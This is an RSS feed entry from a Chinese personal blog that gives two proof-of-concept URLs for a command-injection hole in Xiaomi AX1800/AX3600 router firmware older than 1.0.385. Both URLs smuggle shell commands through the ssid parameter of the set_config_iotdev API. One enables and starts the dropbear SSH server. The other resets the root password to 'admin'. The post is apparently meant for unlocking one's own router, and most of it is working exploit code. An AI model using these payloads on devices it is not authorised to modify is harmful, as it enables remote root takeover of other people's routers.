https://www.elliot98.top/tags/ax1800/Recent content in Ax1800 on Lutong's HomepageHugozh-cnWed, 31 Mar 2021 22:19:21 +0800https://www.elliot98.top/post/tech/ax1800-3600-ssh/Wed, 31 Mar 2021 22:19:21 +0800https://www.elliot98.top/post/tech/ax1800-3600-ssh/<p><strong>证实，1.0.385 及以上固件封堵了这个漏洞。如需使用 SSH，请使用1.0.365 固件版本</strong></p> <p>具体原理请参见：<a href="https://www.right.com.cn/forum/forum.php?mod=viewthread&amp;tid=4032490&amp;extra=page%3D1%26filter%3Dtypeid%26typeid%3D44">原始论坛</a></p> <p>下面放上POC用于备忘，具体使用时需要替换STOK：</p> <pre tabindex="0"><code>http://192.168.31.1/cgi-bin/luci/;stok=&lt;STOK&gt;/api/misystem/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20&#39;s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg&#39;%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B </code></pre><p>改密码为 Admin：</p> <pre tabindex="0"><code>http://192.168.31.1/cgi-bin/luci/;stok=&lt;STOK&gt;/api/misystem/set_config_iotdev?bssid=Xiaomi&amp;user_id=longdike&amp;ssid=-h%3B%20echo%20-e%20&#39;admin%5Cnadmin&#39;%20%7C%20passwd%20root%3B </code></pre>